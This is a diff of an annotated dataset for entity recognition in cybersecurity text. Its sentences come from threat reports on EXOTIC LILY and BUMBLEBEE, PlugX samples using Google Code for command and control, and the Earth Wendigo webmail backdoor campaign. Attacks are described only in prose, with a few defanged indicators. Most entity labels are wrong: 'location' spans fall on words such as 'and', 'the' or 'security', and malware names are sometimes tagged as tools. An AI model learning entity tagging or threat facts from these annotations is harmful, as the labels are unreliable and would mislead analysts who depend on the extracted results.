-{"id":6086,"text":"In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files.","entities":[{"id":18785,"label":"location","start_offset":35,"end_offset":38},{"id":18786,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":6087,"text":"At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.","entities":[{"id":18787,"label":"location","start_offset":7,"end_offset":11},{"id":18788,"label":"malware","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":6088,"text":"This malware can be found using this VirusTotal query.","entities":[{"id":18790,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":6089,"text":"EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.","entities":[{"id":18792,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18793,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":18795,"label":"location","start_offset":76,"end_offset":79},{"id":18797,"label":"location","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":6090,"text":"Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.","entities":[{"id":18798,"label":"location","start_offset":47,"end_offset":52},{"id":18800,"label":"location","start_offset":67,"end_offset":70},{"id":18801,"label":"location","start_offset":92,"end_offset":100},{"id":18802,"label":"location","start_offset":101,"end_offset":110},{"id":18803,"label":"location","start_offset":141,"end_offset":148},{"id":18804,"label":"location","start_offset":202,"end_offset":205},{"id":18806,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
 {"id":6091,"text":"We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye) and DEV-0193 (Microsoft).","entities":[{"id":18809,"label":"location","start_offset":45,"end_offset":50},{"id":18812,"label":"location","start_offset":188,"end_offset":195},{"id":18814,"label":"location","start_offset":208,"end_offset":211},{"id":18818,"label":"threat-actor","start_offset":291,"end_offset":296},{"id":18821,"label":"location","start_offset":317,"end_offset":320}],"relations":[],"Comments":[]}
-{"id":6092,"text":"While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.","entities":[{"id":18826,"label":"location","start_offset":229,"end_offset":232},{"id":18828,"label":"location","start_offset":258,"end_offset":261}],"relations":[],"Comments":[]}
 {"id":6093,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18829,"label":"tools","start_offset":102,"end_offset":108},{"id":18830,"label":"location","start_offset":109,"end_offset":112},{"id":18831,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":6094,"text":"In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications.","entities":[{"id":18833,"label":"location","start_offset":28,"end_offset":31},{"id":18835,"label":"location","start_offset":50,"end_offset":53},{"id":18836,"label":"location","start_offset":142,"end_offset":149},{"id":18837,"label":"location","start_offset":192,"end_offset":195}],"relations":[],"Comments":[]}
-{"id":6095,"text":"Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.","entities":[{"id":18840,"label":"location","start_offset":99,"end_offset":102},{"id":18841,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":6096,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities.","entities":[{"id":18843,"label":"location","start_offset":46,"end_offset":49},{"id":18844,"label":"location","start_offset":80,"end_offset":88},{"id":18845,"label":"location","start_offset":89,"end_offset":98},{"id":18846,"label":"location","start_offset":100,"end_offset":103},{"id":18847,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":6097,"text":"We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.","entities":[{"id":18848,"label":"location","start_offset":3,"end_offset":7},{"id":18849,"label":"location","start_offset":59,"end_offset":62},{"id":18850,"label":"location","start_offset":74,"end_offset":78},{"id":18851,"label":"location","start_offset":94,"end_offset":101},{"id":18852,"label":"location","start_offset":113,"end_offset":116},{"id":18853,"label":"location","start_offset":117,"end_offset":121},{"id":18854,"label":"location","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":6098,"text":"Recent domains used in email campaigns: BazarLoader ISO samples: Recent BUMBLEBEE ISO samples: Recent BUMBLEBEE C2:","entities":[{"id":18855,"label":"malware","start_offset":72,"end_offset":81},{"id":18856,"label":"malware","start_offset":102,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":6099,"text":"Recently, FireEye published a blog titled “Operation Poisoned Hurricane” which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).","entities":[{"id":18858,"label":"location","start_offset":62,"end_offset":71},{"id":18859,"label":"malware","start_offset":99,"end_offset":104},{"id":18860,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
 {"id":6100,"text":"We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.","entities":[{"id":18861,"label":"tools","start_offset":16,"end_offset":23},{"id":18862,"label":"location","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
@@ -6103,346 +5723,146 @@
 {"id":6103,"text":" Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use.  Below is a current screenshot of the newly uncovered Google Code account’s projects.","entities":[],"relations":[],"Comments":[]}
 {"id":6104,"text":" The encoded commands decode to the below IP addresses.","entities":[],"relations":[],"Comments":[]}
 {"id":6105,"text":"Interestingly, “\/p\/pthon”, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.","entities":[{"id":18878,"label":"tools","start_offset":48,"end_offset":52},{"id":18879,"label":"location","start_offset":134,"end_offset":138},{"id":18880,"label":"malware","start_offset":139,"end_offset":143},{"id":18881,"label":"location","start_offset":197,"end_offset":200},{"id":18882,"label":"location","start_offset":220,"end_offset":224},{"id":18883,"label":"tools","start_offset":232,"end_offset":236}],"relations":[],"Comments":[]}
-{"id":6106,"text":"The three pages created since we discovered this user are admmmomn, eyewheye, and joompler.","entities":[{"id":18885,"label":"location","start_offset":54,"end_offset":57},{"id":18886,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":6107,"text":" Table 1  We discovered a total of seven samples, five of which were not in VirusTotal prior to our submission.","entities":[],"relations":[],"Comments":[]}
 {"id":6108,"text":"Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.","entities":[{"id":18892,"label":"malware","start_offset":30,"end_offset":35},{"id":18893,"label":"location","start_offset":36,"end_offset":42},{"id":18895,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":6109,"text":"It has been in use in the wild since at least early June and is the earliest sample related to this activity our team has so far found.","entities":[{"id":18898,"label":"location","start_offset":57,"end_offset":60},{"id":18899,"label":"location","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":6110,"text":"It was targeted against a major university.","entities":[{"id":18900,"label":"location","start_offset":26,"end_offset":31},{"id":18901,"label":"location","start_offset":32,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":6111,"text":"It uses one of the Google Code pages noted in FireEye’s blog, “\/p\/updata-server”, but had a different C2 redirect, noted below.","entities":[{"id":18902,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":6112,"text":"Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).","entities":[{"id":18905,"label":"malware","start_offset":66,"end_offset":71},{"id":18907,"label":"MD5","start_offset":156,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":6113,"text":"At that time the C2 server was qq7712409.3322[.]org.","entities":[{"id":18908,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":6114,"text":"Table 2  ","entities":[],"relations":[],"Comments":[]}
 {"id":6115,"text":"The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.","entities":[{"id":18910,"label":"tools","start_offset":4,"end_offset":9},{"id":18911,"label":"location","start_offset":10,"end_offset":16},{"id":18914,"label":"location","start_offset":84,"end_offset":87},{"id":18915,"label":"location","start_offset":118,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":6116,"text":"This sample was not represented in VirusTotal.","entities":[{"id":18916,"label":"location","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":6117,"text":"It is correctly identified by eleven AV vendors as PlugX malware.","entities":[{"id":18919,"label":"malware","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":6118,"text":"In addition, it also used the same Google Code page and redirect as the previous sample.","entities":[{"id":18920,"label":"location","start_offset":30,"end_offset":34},{"id":18922,"label":"location","start_offset":47,"end_offset":51},{"id":18923,"label":"location","start_offset":52,"end_offset":55},{"id":18924,"label":"location","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":6119,"text":"The registrant information associated with the website hosting the malware is a domain reseller.","entities":[],"relations":[],"Comments":[]}
 {"id":6120,"text":" Table 3  ","entities":[],"relations":[],"Comments":[]}
 {"id":6121,"text":"We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.","entities":[{"id":18926,"label":"tools","start_offset":16,"end_offset":23},{"id":18929,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":6122,"text":"The first sample in the below table was not in VirusTotal and targeted the same university as the previous samples.","entities":[{"id":18932,"label":"location","start_offset":10,"end_offset":16},{"id":18934,"label":"location","start_offset":58,"end_offset":61},{"id":18935,"label":"location","start_offset":75,"end_offset":79},{"id":18936,"label":"location","start_offset":80,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":6123,"text":"Only three AV vendors correctly identified it as PlugX malware.","entities":[{"id":18938,"label":"malware","start_offset":49,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":6124,"text":" Table 4  The second sample using the QTI International Inc certificate also uses IP 211.233.89.182 for C2 but does not first connect to a Google Code page and is not PlugX.","entities":[{"id":18941,"label":"location","start_offset":21,"end_offset":27},{"id":18943,"label":"IPV4","start_offset":85,"end_offset":99},{"id":18944,"label":"tools","start_offset":151,"end_offset":155},{"id":18945,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":6125,"text":"Instead it contained two separate Trojans; one known as Cudofows.A by Microsoft, and one only detected by two AV vendors in VirusTotal known as Backdoor.Win32.Miancha.f by Kaspersky.","entities":[{"id":18948,"label":"location","start_offset":43,"end_offset":46},{"id":18950,"label":"location","start_offset":81,"end_offset":84},{"id":18952,"label":"location","start_offset":89,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":6126,"text":"This malware also targeted the university.","entities":[{"id":18956,"label":"location","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":6127,"text":"Of note, the PlugX sample in Table 8 uses a different certificate but was downloaded from the same website.","entities":[{"id":18957,"label":"tools","start_offset":13,"end_offset":18},{"id":18958,"label":"location","start_offset":19,"end_offset":25},{"id":18960,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":6128,"text":"It also uses the Google Code page “\/p\/tempzz” for C2, which was also listed in FireEye’s blog.","entities":[{"id":18961,"label":"malware","start_offset":29,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":6129,"text":" The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.","entities":[],"relations":[],"Comments":[]}
-{"id":6130,"text":"The registrant address is labtestshowlong[@]outlook.com, which has not been used to register any other domains as of 14 August.","entities":[{"id":18965,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":6131,"text":"Table 5  ","entities":[],"relations":[],"Comments":[]}
 {"id":6132,"text":"Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.","entities":[{"id":18968,"label":"tools","start_offset":29,"end_offset":36},{"id":18971,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":6133,"text":"None of these were in VirusTotal.","entities":[{"id":18972,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":6134,"text":"The below sample also uses the Google Code page “\/p\/pthon”, which was newly uncovered during this research.","entities":[{"id":18974,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":6135,"text":"The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.","entities":[{"id":18976,"label":"malware","start_offset":4,"end_offset":9},{"id":18977,"label":"location","start_offset":10,"end_offset":16},{"id":18979,"label":"location","start_offset":37,"end_offset":41},{"id":18980,"label":"tools","start_offset":54,"end_offset":58},{"id":18981,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":6136,"text":"The below PlugX sample was only detected as PlugX malware by two AV vendors.","entities":[{"id":18983,"label":"malware","start_offset":10,"end_offset":15},{"id":18984,"label":"location","start_offset":16,"end_offset":22},{"id":18985,"label":"location","start_offset":27,"end_offset":31},{"id":18986,"label":"malware","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":6137,"text":" Table 6  ","entities":[],"relations":[],"Comments":[]}
 {"id":6138,"text":"The PlugX sample in Table 7 also targeted the same university as all previous samples.","entities":[{"id":18989,"label":"tools","start_offset":4,"end_offset":9},{"id":18990,"label":"location","start_offset":10,"end_offset":16},{"id":18992,"label":"location","start_offset":46,"end_offset":50},{"id":18993,"label":"location","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":6139,"text":"Eight AV vendors correctly identified it.","entities":[],"relations":[],"Comments":[]}
 {"id":6140,"text":" Table 7  ","entities":[],"relations":[],"Comments":[]}
-{"id":6141,"text":"The final new sample using the SSanyong Motor Co., Ltd certificate is an interesting mix.","entities":[{"id":18996,"label":"location","start_offset":14,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":6142,"text":"It was downloaded from the same website as the sample in Table 5; however, it was targeted against an international law firm’s East Asian office, and uses a Google Code page identified in FireEye’s blog for C2, but an IP not listed in the blog post.","entities":[{"id":18998,"label":"location","start_offset":27,"end_offset":31},{"id":18999,"label":"location","start_offset":47,"end_offset":53},{"id":19001,"label":"location","start_offset":102,"end_offset":115},{"id":19002,"label":"location","start_offset":116,"end_offset":119},{"id":19004,"label":"tools","start_offset":138,"end_offset":144},{"id":19005,"label":"location","start_offset":146,"end_offset":149},{"id":19006,"label":"location","start_offset":169,"end_offset":173},{"id":19008,"label":"location","start_offset":244,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":6143,"text":"In addition, it was only detected by two AV vendors.","entities":[{"id":19009,"label":"location","start_offset":20,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":6144,"text":" Table 8  We see several indications this is an ongoing campaign, including:  These new methods have somewhat limited efficacy, as further C2 commands would be more obviously detectable because the C2 server no longer appears to be a legitimate website.","entities":[{"id":19012,"label":"location","start_offset":56,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":6145,"text":"However, it is highly likely there are still more unknowns related to this activity, as the actors conducting it have shown an understanding of basic perimeter network defense and some ability to adapt around it.","entities":[{"id":19013,"label":"location","start_offset":22,"end_offset":28},{"id":19014,"label":"location","start_offset":35,"end_offset":38},{"id":19015,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":6146,"text":" Prior to publishing this blog, we notified both Microsoft and Google of the malicious accounts using their services in an effort to help thwart this malicious activity.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":19017,"label":"location","start_offset":59,"end_offset":62},{"id":19019,"label":"location","start_offset":123,"end_offset":129},{"id":19020,"label":"location","start_offset":233,"end_offset":236},{"id":19021,"label":"location","start_offset":262,"end_offset":267}],"relations":[],"Comments":[]}
-{"id":6147,"text":" Please mark, I'm not a robot!","entities":[{"id":19022,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6148,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19023,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":6149,"text":"We discovered a new campaign that has been targeting several organizations — including government organizations, research institutions and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely-used in Taiwan.","entities":[{"id":19024,"label":"location","start_offset":20,"end_offset":28},{"id":19025,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":6150,"text":" With no clear connection to any previous attack group, we gave this new threat actor the name “Earth Wendigo.”","entities":[{"id":19029,"label":"location","start_offset":9,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":6151,"text":"Additional investigation shows that the threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.","entities":[{"id":19031,"label":"location","start_offset":63,"end_offset":68},{"id":19032,"label":"attack-pattern","start_offset":69,"end_offset":77},{"id":19033,"label":"location","start_offset":162,"end_offset":165},{"id":19036,"label":"location","start_offset":220,"end_offset":226}],"relations":[],"Comments":[]}
 {"id":6152,"text":"However, this is a separate series of attacks from their operation in Taiwan, which this report covers.","entities":[],"relations":[],"Comments":[]}
 {"id":6153,"text":"      Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":6154,"text":"The attack flow of Earth Wendigo’s operation      Figure 2.","entities":[{"id":19040,"label":"threat-actor","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":6155,"text":"An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.","entities":[{"id":19042,"label":"location","start_offset":16,"end_offset":21},{"id":19043,"label":"attack-pattern","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6156,"text":"The text mentions that someone had tried to log in to the user’s account and that Google had blocked the login attempt.","entities":[{"id":19045,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":6157,"text":"The blue button says, “Check here.”       ","entities":[{"id":19047,"label":"location","start_offset":4,"end_offset":8},{"id":19048,"label":"location","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":6158,"text":"Initial Access","entities":[],"relations":[],"Comments":[]}
-{"id":6159,"text":"and","entities":[{"id":19049,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":6160,"text":"Propagation","entities":[],"relations":[],"Comments":[]}
 {"id":6161,"text":"The attack begins with a spear-phishing email that is appended with obfuscated JavaScript.","entities":[{"id":19050,"label":"location","start_offset":25,"end_offset":30},{"id":19051,"label":"attack-pattern","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":6162,"text":"Once the victim opens the email on their webmail page, the appended JavaScript will load malicious scripts from a remote server operated by the threat actor.","entities":[{"id":19052,"label":"location","start_offset":49,"end_offset":53},{"id":19053,"label":"location","start_offset":79,"end_offset":83},{"id":19054,"label":"location","start_offset":84,"end_offset":88},{"id":19055,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":6163,"text":"The scripts are designed to perform malicious behaviors, including:   Stealing browser cookies and webmail session keys and then sending them to the remote server.","entities":[{"id":19056,"label":"location","start_offset":12,"end_offset":15},{"id":19057,"label":"location","start_offset":95,"end_offset":98},{"id":19058,"label":"location","start_offset":120,"end_offset":123},{"id":19059,"label":"location","start_offset":137,"end_offset":141},{"id":19060,"label":"location","start_offset":149,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":6164,"text":"Appending their malicious script to the victim’s email signature to propagate the infection to their contacts.","entities":[],"relations":[],"Comments":[]}
 {"id":6165,"text":"Exploiting a webmail system’s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.","entities":[{"id":19061,"label":"location","start_offset":30,"end_offset":35},{"id":19062,"label":"attack-pattern","start_offset":41,"end_offset":50},{"id":19063,"label":"attack-pattern","start_offset":52,"end_offset":55},{"id":19064,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":6166,"text":"Registering a malicious JavaScript code to Service Worker, a web browser feature that allows JavaScript to intercept and manipulate HTTPS requests between client and server.","entities":[{"id":19066,"label":"location","start_offset":117,"end_offset":120},{"id":19067,"label":"location","start_offset":147,"end_offset":154},{"id":19068,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
 {"id":6167,"text":"The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.","entities":[{"id":19069,"label":"location","start_offset":37,"end_offset":40},{"id":19070,"label":"location","start_offset":66,"end_offset":69},{"id":19071,"label":"location","start_offset":89,"end_offset":93},{"id":19072,"label":"location","start_offset":122,"end_offset":126},{"id":19073,"label":"attack-pattern","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":6168,"text":"(This is also the first time we found an in-the-wild attack that leverages Service Worker.)  Exfiltration of the mailbox","entities":[{"id":19075,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":6169,"text":"After the attackers gain a foothold into the system — either through XSS injection or Service Worker — the next (and final part) of the attack chain, the exfiltration of the mailbox, is initiated.","entities":[{"id":19076,"label":"attack-pattern","start_offset":69,"end_offset":72},{"id":19077,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":6170,"text":"The Earth Wendigo threat actor will establish a WebSocket connection between the victims and their WebSocket server via a JavaScript backdoor.","entities":[{"id":19079,"label":"location","start_offset":31,"end_offset":35},{"id":19080,"label":"location","start_offset":69,"end_offset":76},{"id":19081,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":6171,"text":"The WebSocket server instructs the backdoor on the victim’s browser to read emails from the webmail server and then send the content and attachments of the emails back to the WebSocket server.","entities":[{"id":19082,"label":"location","start_offset":107,"end_offset":110},{"id":19083,"label":"location","start_offset":125,"end_offset":132},{"id":19084,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":6172,"text":"We will share more details of the attack chain in the following paragraphs.","entities":[{"id":19085,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":6173,"text":"The victim will receive a spear-phishing email disguised as an advertisement with a discount coupon from an online shopping website — however, an obfuscated malicious JavaScript is embedded inside.","entities":[{"id":19086,"label":"location","start_offset":11,"end_offset":15},{"id":19087,"label":"location","start_offset":26,"end_offset":31},{"id":19088,"label":"attack-pattern","start_offset":32,"end_offset":40},{"id":19089,"label":"location","start_offset":93,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":6174,"text":"The email leverages the webmail system’s search suggestion function to trigger the webpage to execute their script instead of directly running the malicious script.","entities":[],"relations":[],"Comments":[]}
-{"id":6175,"text":"This is done to evade static security checks.","entities":[{"id":19090,"label":"location","start_offset":22,"end_offset":28},{"id":19091,"label":"location","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":6176,"text":"The email will generate multiple email search requests to the webmail system via the CSS function ”backgroup-image” using their malicious code as a search keyword to make the system register it as a frequently searched keyword.","entities":[{"id":19092,"label":"location","start_offset":10,"end_offset":14},{"id":19093,"label":"location","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":6177,"text":"Next, a new “embed” HTML element is created to load the result of the search suggestion by finding the keyword “java” on the webmail server.","entities":[{"id":19094,"label":"location","start_offset":47,"end_offset":51},{"id":19095,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":6178,"text":"The returned suggestion is the JavaScript code that was searched during the first step and has now been indirectly loaded and used to execute the malicious code.","entities":[{"id":19097,"label":"location","start_offset":87,"end_offset":90},{"id":19098,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":6179,"text":"This approach allows the threat actor to hide their malicious code inside CSS elements to prevent detection by security solutions that employ static analysis.","entities":[{"id":19099,"label":"location","start_offset":111,"end_offset":119},{"id":19100,"label":"location","start_offset":142,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":6180,"text":"At the end of this step, the code will create another new script element that will load other malicious JavaScript codes from remote servers.","entities":[{"id":19101,"label":"location","start_offset":34,"end_offset":38},{"id":19102,"label":"location","start_offset":78,"end_offset":82},{"id":19103,"label":"location","start_offset":83,"end_offset":87},{"id":19104,"label":"location","start_offset":126,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":6181,"text":"     Figure 3. The spear-phishing email disguised as an advertisement for a shopping coupon      Figure 4.","entities":[{"id":19106,"label":"location","start_offset":19,"end_offset":24},{"id":19107,"label":"attack-pattern","start_offset":25,"end_offset":33},{"id":19108,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":6182,"text":"The malicious JavaScript hidden inside the CSS element     Interestingly, we found many other emails that have injected their malicious JavaScript code at the bottom to load their malicious code from remote servers.","entities":[{"id":19110,"label":"location","start_offset":83,"end_offset":87},{"id":19111,"label":"location","start_offset":169,"end_offset":173},{"id":19112,"label":"location","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":6183,"text":"However, these emails don’t look like phishing emails and seemed more like real email sent from normal users within the same organization.","entities":[{"id":19113,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":19114,"label":"location","start_offset":54,"end_offset":57},{"id":19115,"label":"location","start_offset":75,"end_offset":79},{"id":19116,"label":"location","start_offset":96,"end_offset":102},{"id":19117,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
 {"id":6184,"text":"Further investigation revealed that the attacker had modified the victims’ email signatures through malicious code injection.","entities":[{"id":19118,"label":"attack-pattern","start_offset":110,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":6185,"text":"This means that all of the emails sent by the victim with the modified mail signature will have the malicious code appended at the end, which is how we found a normal email that was also injected with malicious code.","entities":[{"id":19119,"label":"location","start_offset":5,"end_offset":10},{"id":19120,"label":"location","start_offset":86,"end_offset":90},{"id":19121,"label":"location","start_offset":160,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":6186,"text":"We think the threat actor used this approach to attempt to infect the victim’s contacts for further propagation.","entities":[],"relations":[],"Comments":[]}
 {"id":6187,"text":"     Figure 5. Malicious script appended on the victim’s email signature      Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":6188,"text":"The malicious script used to read and modify the victim’s email signature.","entities":[{"id":19124,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":6189,"text":"    As soon as the user executes the malicious script in the email, a cookie stealer script will be delivered and launched on the browser.","entities":[{"id":19125,"label":"malware","start_offset":77,"end_offset":84},{"id":19126,"label":"location","start_offset":92,"end_offset":96},{"id":19127,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":6190,"text":"The script generates a request to “\/cgi-bin\/start,” which is a wrapper page embedded with the webmail session key.","entities":[{"id":19128,"label":"location","start_offset":44,"end_offset":49},{"id":19129,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":6191,"text":"The script will then extract the session key from the page while also collecting browser cookies.","entities":[{"id":19130,"label":"location","start_offset":11,"end_offset":15},{"id":19131,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6192,"text":"The script will send an HTTP GET request to remove the server with all the collected keys and cookies appended on the query string to transfer the stolen information.","entities":[{"id":19132,"label":"location","start_offset":11,"end_offset":15},{"id":19133,"label":"location","start_offset":90,"end_offset":93},{"id":19134,"label":"location","start_offset":134,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":6193,"text":"The framework used to deliver and manage these XSS attack scripts is called “XSSER.ME” or “XSS Framework.” The stolen session keys and browser cookies are also sent to the framework to store in the database.   While a stolen session key may allow the attacker to log into their target’s webmail system without a password, note that this is not the Earth Wendigo operation's ultimate goal.       Figure 7.","entities":[{"id":19135,"label":"location","start_offset":30,"end_offset":33},{"id":19136,"label":"location","start_offset":34,"end_offset":40},{"id":19137,"label":"attack-pattern","start_offset":47,"end_offset":50},{"id":19138,"label":"attack-pattern","start_offset":91,"end_offset":94},{"id":19139,"label":"location","start_offset":131,"end_offset":134},{"id":19140,"label":"location","start_offset":151,"end_offset":154},{"id":19141,"label":"location","start_offset":237,"end_offset":240},{"id":19142,"label":"location","start_offset":278,"end_offset":284},{"id":19143,"label":"threat-actor","start_offset":348,"end_offset":361}],"relations":[],"Comments":[]}
-{"id":6194,"text":"The malicious script to steal the browser cookie and session key     Infection of email accounts","entities":[{"id":19145,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":6195,"text":"After the initial execution of malicious code with the approaches we mentioned above, the attacker implemented steps to ensure that their malicious script would be constantly loaded and executed by their targets.","entities":[{"id":19146,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":6196,"text":"The actor prepared two different infection methods.","entities":[],"relations":[],"Comments":[]}
 {"id":6197,"text":"The first involves injecting malicious code into the webpage via an XSS vulnerability on the webmail system.","entities":[{"id":19149,"label":"attack-pattern","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
